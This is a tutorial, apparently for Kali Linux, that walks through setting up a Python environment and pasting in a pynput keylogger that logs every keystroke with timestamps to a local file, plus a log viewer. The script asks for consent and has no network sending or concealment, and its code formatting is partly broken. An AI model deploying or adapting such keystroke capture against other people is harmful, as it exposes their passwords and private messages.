

Install Virtual Environment Support  
sudo apt update  
sudo apt install python3-venv -y

Create Project Directory  
mkdir ~/educational\_keylogger  
cd ~/educational\_keylogger

Create a Virtual Environment  
python3 -m venv venv

This creates:  
educational\_keylogger/  
|—— venv/

Activate the Virtual Environment  
source venv/bin/activate

You will see:  
(venv) kali@kali:~/educational\_keylogger\$

Install pynput  
pip install pynput

Verify:  
python -c "import pynput; print('pynput installed successfully')"

Create Keylogger File  
nano [keylogger.py](#)

Paste this code:

Python

```
from pynput import keyboard
from datetime import datetime
import os

LOG_FILE = "keystrokes.log"

def get_consent():
    print("EDUCATIONAL KEYLOGGER (KALI LINUX) ")
    print("Local logging only. Use on your own system.")
    consent = input("Type YES to continue: ")
```

```

return consent == "YES"

def write_log(key):
    with open(LOG_FILE, "a", encoding="utf-8") as f:
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        f.write(f"{timestamp} - {key}\n")

def on_press(key):
    try:
        write_log(key.char)
    except AttributeError:
        write_log(str(key))

def on_release(key):
    if key == keyboard.Key.esc:
        print("\n[+] Logging stopped")
        return False

if __name__ == "__main__":
    if not get_consent():
        print("Consent not given. Exiting.")
        exit()

print("[+] Keylogger started (Press ESC to stop)")

if not os.path.exists(LOG_FILE):
    open(LOG_FILE, "w").close()
    os.chmod(LOG_FILE, 0o600)

with keyboard.Listener(
    on_press=on_press,
    on_release=on_release
) as listener:
    listener.join()

```

Save:

CTRL + O → ENTER  
CTRL + X

Run the Keylogger (INSIDE venv)

python keylogger.py

- ✓ Type YES
- ✓ Press keys
- ✓ Press ESC to stop

Create Log Viewer

nano [viewer.py](#)

Paste:

Python

```
def view_logs():
    with open("keystrokes.log", "r", encoding="utf-8") as f:
        print("\n--- LOGS ---\n")
        print(f.read())

if __name__ == "__main__":
    view_logs()
```

Run:

python viewer.py